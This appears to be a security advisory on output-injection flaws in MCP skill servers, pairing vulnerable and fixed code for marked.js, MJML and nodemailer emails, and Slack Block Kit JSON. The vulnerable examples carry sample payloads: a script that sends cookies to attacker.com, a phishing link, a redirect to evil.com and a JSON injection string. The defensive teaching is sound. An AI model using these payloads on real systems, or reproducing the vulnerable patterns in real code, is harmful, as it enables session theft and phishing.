Claude skill HTML injection via markdown renderer and email template — SA-SKL-ESCAPE6
Output escaping failures are the most pervasive class of injection vulnerability in MCP skill deployments because user-controlled content flows through multiple rendering layers — markdown parsers, HTML email builders, notification APIs — each of which requires its own context-appropriate escaping. SA-SKL-ESCAPE6 covers four distinct output injection patterns: marked.js rendering user markdown to HTML without DOMPurify post-processing; an MJML email template substituting an unescaped user name field that becomes a live phishing hyperlink; a nodemailer HTML body constructed with a template literal where user content containing closing tags corrupts the email structure for subsequent recipients; and a Slack Block Kit payload assembled by string concatenation into JSON rather than via proper JavaScript object serialization, enabling attacker JSON structure injection.
Output injection via markdown rendering and notification templates in MCP skill deployments
MCP skill servers frequently render user-supplied content in contexts that have their own injection semantics: HTML for browser display, HTML-in-email where client rendering varies widely, and JSON-based notification payloads for Slack and similar APIs. Each context requires a different escaping strategy — HTML entity encoding for HTML bodies, a sanitization allowlist for markdown-to-HTML output where the goal is to preserve formatting but block script execution, and proper JSON serialization (never string concatenation) for API payloads. The common failure mode is treating a rendering library as a sanitizer when it is not: marked.js is a markdown parser that produces HTML, not a sanitizer; MJML is a template language that produces HTML email, not an escaping layer. SA-SKL-ESCAPE6 covers all four injection paths present in this rendering pipeline.
marked.js renders userInput without DOMPurify post-processing; <script> tags in markdown pass through default parser; XSS executes in browser; cookie exfiltrationname field; attacker sets name to raw anchor tag; rendered as live phishing hyperlink in delivered emailnodemailer text/html body from template literal; fullName containing </div><script> breaks email HTML; second recipient receives injected content" and } to escape JSON string and inject extra block fieldsESCAPE6-001 — marked.js renders user markdown without DOMPurify post-processing
marked.js is a markdown-to-HTML converter. Its default configuration passes raw HTML tags through — by design, because the CommonMark specification allows inline HTML in markdown. This means that if a user submits a markdown string containing <script>...</script>, marked.parse() will include that script tag in its HTML output. When this output is inserted into the DOM via innerHTML, or served as an HTML response without a strict CSP, the script executes. The fix is to pipe the marked.parse() output through DOMPurify.sanitize() with a strict ALLOWED_TAGS list that permits only the formatting tags that the application actually needs. Note that DOMPurify must run in a browser context or via jsdom on the server; for server-side sanitization, the isomorphic-dompurify package or the sanitize-html library are appropriate alternatives.
// VULNERABLE — marked.js output inserted into DOM without sanitization; script tags execute
import { marked } from 'marked';
app.get('/api/skill/preview', async (req, res) => {
const { content } = req.query;
// VULNERABLE: marked.parse passes raw HTML through by default
// Attacker submits: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
// marked wraps it in a paragraph but does not strip the script tag
const html = marked.parse(content);
res.json({ html }); // client inserts into innerHTML — script executes
});
// Client-side:
// document.getElementById('preview').innerHTML = data.html; // XSS
// FIXED — DOMPurify.sanitize after marked.parse; strict ALLOWED_TAGS allowlist
import { marked } from 'marked';
import DOMPurify from 'isomorphic-dompurify'; // server-side DOMPurify via jsdom
// Configure marked to never pass raw HTML — sanitize handles that layer
marked.setOptions({ mangle: false, headerIds: false });
app.get('/api/skill/preview', async (req, res) => {
const { content } = req.query;
if (typeof content !== 'string' || content.length > 50_000) {
return res.status(400).json({ error: 'Invalid content' });
}
// Step 1: convert markdown to HTML
const rawHtml = marked.parse(content);
// Step 2: sanitize — strips script, iframe, event handlers, dangerous href schemes
const safeHtml = DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: ['p', 'a', 'code', 'pre', 'ul', 'ol', 'li', 'h2', 'h3',
'strong', 'em', 'blockquote', 'hr', 'br'],
ALLOWED_ATTR: ['href'],
ALLOW_DATA_ATTR: false,
FORCE_BODY: true,
});
res.json({ html: safeHtml });
});
ESCAPE6-002 — MJML email template renders unescaped user name as live phishing link
MJML is a framework for writing responsive HTML emails using a simplified component syntax. MJML compiles to HTML that is then delivered via an email sending service. When a user-supplied field such as a display name or subject line is substituted into an MJML template using JavaScript string interpolation before the MJML compilation step, the raw user content is included in the MJML source. MJML then compiles that source — including any HTML tags present in the user value — into the final email HTML. If a user sets their display name to <a href="https://phishing.com">Click to verify your account</a>, the compiled email will contain a live clickable hyperlink with attacker-controlled destination and label text. Email clients render anchor tags, making this a viable phishing vector even in email clients that strip most HTML. The fix is to HTML-entity-encode all user-supplied values before substituting them into the MJML template source string.
// VULNERABLE — user name interpolated directly into MJML source; raw HTML tags compile through
import mjml2html from 'mjml';
import { getUserById } from './users.js';
async function sendWelcomeEmail(userId, toAddress) {
const user = await getUserById(userId);
// VULNERABLE: user.name is substituted directly into MJML source string
// Attacker sets name: <a href="https://phishing.com">Click to verify your account</a>
// MJML compiles the anchor tag → delivered as a live phishing link in the email
const mjmlSource = `
<mjml>
<mj-body>
<mj-section>
<mj-column>
<mj-text>Hello ${user.name},</mj-text>
<mj-text>Welcome to SkillAudit. Your account is ready.</mj-text>
</mj-column>
</mj-section>
</mj-body>
</mjml>`;
const { html } = mjml2html(mjmlSource);
await sendEmail({ to: toAddress, subject: 'Welcome', html });
}
// FIXED — he.encode escapes user values before substitution into MJML source
import mjml2html from 'mjml';
import he from 'he';
import { getUserById } from './users.js';
async function sendWelcomeEmail(userId, toAddress) {
const user = await getUserById(userId);
// Escape all user-supplied values before they touch the MJML source string
// he.encode turns < > & " ' into HTML entities — tags cannot form
const safeName = he.encode(user.name ?? '', { useNamedReferences: true });
const safeOrgName = he.encode(user.orgName ?? '', { useNamedReferences: true });
const mjmlSource = `
<mjml>
<mj-body>
<mj-section>
<mj-column>
<mj-text>Hello ${safeName},</mj-text>
<mj-text>Welcome to SkillAudit. Your organisation ${safeOrgName} is ready.</mj-text>
</mj-column>
</mj-section>
</mj-body>
</mjml>`;
// safeName renders as literal text in the email — no hyperlinks or tags possible
const { html, errors } = mjml2html(mjmlSource);
if (errors.length) throw new Error(`MJML compile error: ${errors[0].formattedMessage}`);
await sendEmail({ to: toAddress, subject: 'Welcome to SkillAudit', html });
}
ESCAPE6-003 — nodemailer HTML body constructed with template literal breaks email structure
When a nodemailer email is composed by building the HTML string with a JavaScript template literal, all user-supplied values are interpolated as raw strings. A user whose fullName contains </div><script>alert(1)</script><div> will have that sequence embedded verbatim in the email HTML body. Email clients that render HTML (which includes almost all modern clients) will parse the injected closing tag, terminating the surrounding container element, and may render subsequent content in the email from that injection point onward in an unintended structure. If the same email template is used to generate emails for multiple recipients in a batch job — for example, an audit completion notification — and the template is built server-side by concatenating per-user values, one user's injected content can contaminate the structural context in which the next user's content is inserted. The fix is to HTML-entity-encode every user-supplied value before it enters any HTML string.
// VULNERABLE — nodemailer HTML body from template literal; fullName breaks email HTML structure
import nodemailer from 'nodemailer';
async function sendAuditCompleteEmail(user, auditTitle) {
// VULNERABLE: user.fullName and auditTitle interpolated as raw strings
// Attacker sets fullName: </div><script>document.location='https://evil.com'</script><div>
// This closes the containing div, injects a script, and reopens a div —
// corrupting the email HTML structure for this and subsequent recipients in a batch
const html = `
<div class="email-body">
<h1>Audit Complete</h1>
<p>Hello ${user.fullName},</p>
<p>Your audit of <strong>${auditTitle}</strong> is complete.</p>
</div>`;
await transporter.sendMail({
to: user.email,
subject: `Audit complete: ${auditTitle}`,
html,
});
}
// FIXED — he.encode on all user values; templating engine with auto-escaping alternative
import nodemailer from 'nodemailer';
import he from 'he';
async function sendAuditCompleteEmail(user, auditTitle) {
// Encode every user-controlled value before it touches the HTML string
const safeName = he.encode(user.fullName ?? '', { useNamedReferences: true });
const safeTitle = he.encode(auditTitle ?? '', { useNamedReferences: true });
const safeEmail = he.encode(user.email ?? '', { useNamedReferences: true });
// </div><script> in fullName becomes </div><script> — renders as literal text
const html = `
<div class="email-body">
<h1>Audit Complete</h1>
<p>Hello ${safeName},</p>
<p>Your audit of <strong>${safeTitle}</strong> is complete.</p>
</div>`;
await transporter.sendMail({
to: user.email, // transporter uses the raw email address as an SMTP envelope header
subject: `Audit complete: ${safeTitle}`,
html,
});
}
// Alternative: use a templating engine with auto-escaping (Nunjucks, Handlebars, etc.)
// import nunjucks from 'nunjucks';
// const html = nunjucks.renderString(template, { name: user.fullName, title: auditTitle });
// Nunjucks auto-escapes all variables in HTML templates by default
ESCAPE6-004 — Slack Block Kit JSON built by string interpolation of user message
Slack's Block Kit API accepts a JSON payload describing message blocks. When an MCP skill sends a notification to a Slack channel that includes user-supplied content — such as a comment, a scan result summary, or a user-provided description — it is tempting to build the JSON by interpolating the user value directly into a template string: `{"type":"section","text":{"type":"mrkdwn","text":"${userMessage}"}}`. If the user message contains a double-quote character, it closes the JSON string value, and additional curly braces and colons can then inject extra JSON keys and values into the block structure. An attacker can inject an "accessory" block with a button whose action_id and url fields point to attacker-controlled infrastructure, or override the type field to malform the block. The fix is to build the entire Block Kit payload as a JavaScript object and pass it to JSON.stringify() — never build JSON by string concatenation or template literals.
// VULNERABLE — Slack Block Kit JSON built by string-interpolating user message; JSON injection
import { WebClient } from '@slack/web-api';
const slack = new WebClient(process.env.SLACK_BOT_TOKEN);
async function notifyAuditFinding(channelId, userMessage, severity) {
// VULNERABLE: userMessage interpolated directly into JSON string
// Attacker crafts: hello", "type": "actions"} ,{"type":"section","text":{"type":"mrkdwn","text":"pwned
// This closes the text value, injects an actions block type override, and continues
const payload = `{
"blocks": [{
"type": "section",
"text": {
"type": "mrkdwn",
"text": "${userMessage}"
}
}]
}`;
// JSON.parse may succeed with the injected structure — attacker controls block layout
await slack.chat.postMessage({
channel: channelId,
blocks: JSON.parse(payload).blocks,
});
}
// FIXED — Block Kit payload built as JavaScript object; JSON.stringify handles all escaping
import { WebClient } from '@slack/web-api';
const slack = new WebClient(process.env.SLACK_BOT_TOKEN);
async function notifyAuditFinding(channelId, userMessage, severity) {
// Build the payload as a plain JavaScript object — string values are just strings
// JSON.stringify handles escaping of quotes, backslashes, control characters, etc.
const severityEmoji = { critical: ':red_circle:', high: ':orange_circle:', medium: ':yellow_circle:' };
const blocks = [
{
type: 'section',
text: {
type: 'mrkdwn',
// userMessage is a plain JS string here — no JSON injection possible
text: `${severityEmoji[severity] ?? ':white_circle:'} *${severity.toUpperCase()}*\n${userMessage}`,
},
},
{
type: 'context',
elements: [{ type: 'mrkdwn', text: `Reported by SkillAudit on ${new Date().toISOString()}` }],
},
];
// chat.postMessage accepts the blocks object directly — no manual JSON.stringify needed
await slack.chat.postMessage({
channel: channelId,
blocks, // Slack SDK calls JSON.stringify internally — user content cannot break structure
});
}
Related patterns: Earlier HTML escaping failure patterns in React dangerouslySetInnerHTML and EJS template rendering are covered in SA-SKL-ESCAPE5. For stored XSS via audit report fields that are later rendered in a dashboard, see SA-SKL-CSP4 which covers the CSP layer that provides defense in depth against script injection. The SA-SKL-INJECTION5 page covers the analogous injection class for database query construction.
| Finding | Severity | Vulnerable pattern | Fix |
|---|---|---|---|
ESCAPE6-001 | High | marked.parse(userInput) output inserted into DOM; <script> in markdown passes through; XSS with cookie exfiltration | DOMPurify.sanitize(marked.parse(input), { ALLOWED_TAGS: [...], ALLOWED_ATTR: ['href'] }) |
ESCAPE6-002 | High | MJML template substitutes raw user name; anchor tag in name compiles to live phishing hyperlink in delivered email | he.encode(user.name) before substitution into MJML source; entities render as literal text |
ESCAPE6-003 | Medium | nodemailer HTML body from template literal; fullName with closing tags breaks email HTML; injected content affects subsequent recipients | he.encode() on all user values before inserting into HTML body; or use auto-escaping templating engine |
ESCAPE6-004 | Medium | Slack Block Kit payload built by string interpolation; " and } in user message escape JSON string; extra block fields injected | Build entire Block Kit payload as JavaScript object; call JSON.stringify() (or pass object directly to SDK); never use template strings to build JSON |